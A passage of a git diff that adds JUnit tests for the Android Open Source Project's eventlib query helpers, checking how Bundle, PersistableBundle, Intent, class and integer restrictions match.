+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.serializableValue().isEqualTo(mSerializable);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_serializableValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putSerializable(KEY, mSerializable);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.serializableValue().isEqualTo(mDifferentSerializable);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_existsRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_existsRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.remove(KEY);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_meetsRestriction_returnsTrue() {
+        mBundle.remove(KEY);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.doesNotExist();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.doesNotExist();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java
new file mode 100644
index 0000000..12d9b95
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class BundleQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "value";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Bundle mBundle = new Bundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsMet_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).exists();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsNotMet_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).doesNotExist();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnMultipleKeys_oneRestrictionIsNotMet_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        mBundle.remove(KEY2);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).exists();
+        bundleQueryHelper.key(KEY2).exists();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnNonExistingKey_returnsFalse() {
+        mBundle.remove(KEY);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java
new file mode 100644
index 0000000..175204e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+import com.android.eventlib.info.ClassInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ClassQueryHelperTest {
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+
+    private static final Class<?> CLASS_1 = Activity.class;
+    private static final ClassInfo CLASS_1_CLASS_INFO = new ClassInfo(CLASS_1);
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+    private static final String CLASS_1_SIMPLE_NAME = CLASS_1.getSimpleName();
+    private static final ClassInfo CLASS_2_CLASS_INFO = new ClassInfo("differentClassName");
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_className_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_className_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_simpleName_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_simpleName_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntegerQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntegerQueryHelperTest.java
new file mode 100644
index 0000000..528e9a5
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntegerQueryHelperTest.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class IntegerQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private static final int INTEGER_VALUE = 100;
+    private static final int GREATER_VALUE = 200;
+    private static final int LESS_VALUE = 50;
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(GREATER_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isGreaterThan_meetsRestriction_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isGreaterThan(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(GREATER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThan_doesNotMeetRestriction_returnsFalse() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isGreaterThan(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_greaterThan_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isGreaterThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(GREATER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_equalTo_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isGreaterThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isGreaterThanOrEqualTo_doesNotMeetRestriction_returnsFalse() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isGreaterThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(LESS_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isLessThan_meetsRestriction_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isLessThan(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(LESS_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThan_doesNotMeetRestriction_returnsFalse() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isLessThan(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_lessThan_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isLessThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(LESS_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_equalTo_returnsTrue() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isLessThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(INTEGER_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isLessThanOrEqualTo_doesNotMeetRestriction_returnsFalse() {
+        IntegerQueryHelper<CustomEvent.CustomEventQuery> integerQueryHelper =
+                new IntegerQueryHelper<>(mQuery);
+
+        integerQueryHelper.isLessThanOrEqualTo(INTEGER_VALUE);
+
+        assertThat(integerQueryHelper.matches(GREATER_VALUE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntentQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntentQueryHelperTest.java
new file mode 100644
index 0000000..e815479
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/IntentQueryHelperTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class IntentQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        Intent intent = new Intent();
+        IntentQueryHelper<CustomEvent.CustomEventQuery> intentQueryHelper =
+                new IntentQueryHelper<>(mQuery);
+
+        assertThat(intentQueryHelper.matches(intent)).isTrue();
+    }
+
+    @Test
+    public void matches_action_meetsRestriction_returnsTrue() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        IntentQueryHelper<CustomEvent.CustomEventQuery> intentQueryHelper =
+                new IntentQueryHelper<>(mQuery);
+
+        intentQueryHelper.action().isEqualTo(STRING_VALUE);
+
+        assertThat(intentQueryHelper.matches(intent)).isTrue();
+    }
+
+    @Test
+    public void matches_action_doesNotMeetRestriction_returnsFalse() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        IntentQueryHelper<CustomEvent.CustomEventQuery> intentQueryHelper =
+                new IntentQueryHelper<>(mQuery);
+
+        intentQueryHelper.action().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(intentQueryHelper.matches(intent)).isFalse();
+    }
+
+    @Test
+    public void matches_extras_meetsRestriction_returnsTrue() {
+        Intent intent = new Intent();
+        intent.putExtra(/* key= */ STRING_VALUE, /* value= */ STRING_VALUE);
+        IntentQueryHelper<CustomEvent.CustomEventQuery> intentQueryHelper =
+                new IntentQueryHelper<>(mQuery);
+
+        intentQueryHelper.extras().key(STRING_VALUE).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(intentQueryHelper.matches(intent)).isTrue();
+    }
+
+    @Test
+    public void matches_extras_doesNotMeetRestriction_returnsFalse() {
+        Intent intent = new Intent();
+        intent.putExtra(/* key= */ STRING_VALUE, /* value= */ STRING_VALUE);
+        IntentQueryHelper<CustomEvent.CustomEventQuery> intentQueryHelper =
+                new IntentQueryHelper<>(mQuery);
+
+        intentQueryHelper.extras().key(STRING_VALUE).stringValue()
+                .isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(intentQueryHelper.matches(intent)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java
new file mode 100644
index 0000000..a587512
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class PersistableBundleKeyQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final PersistableBundle mPersistableBundle = new PersistableBundle();
+    private final PersistableBundle mPersistableBundle2 = new PersistableBundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.stringValue().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_persistableBundleValueRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putPersistableBundle(KEY, mPersistableBundle2);
+        mPersistableBundle2.putString(KEY2, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.persistableBundleValue().key(KEY2).exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_persistableBundleValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putPersistableBundle(KEY, mPersistableBundle2);
+        mPersistableBundle2.remove(KEY2);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.persistableBundleValue().key(KEY2).exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_existsRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_existsRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.doesNotExist();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.doesNotExist();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java
new file mode 100644
index 0000000..39f11ec
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class PersistableBundleQueryHelperTest {
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "value";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final PersistableBundle mPersistableBundle = new PersistableBundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsMet_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).exists();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsNotMet_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).doesNotExist();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnMultipleKeys_oneRestrictionIsNotMet_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        mPersistableBundle.remove(KEY2);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).exists();
+        persistableBundleQueryHelper.key(KEY2).exists();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnNonExistingKey_returnsFalse() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java
new file mode 100644
index 0000000..a1f23b1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/SerializableQueryHelperTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
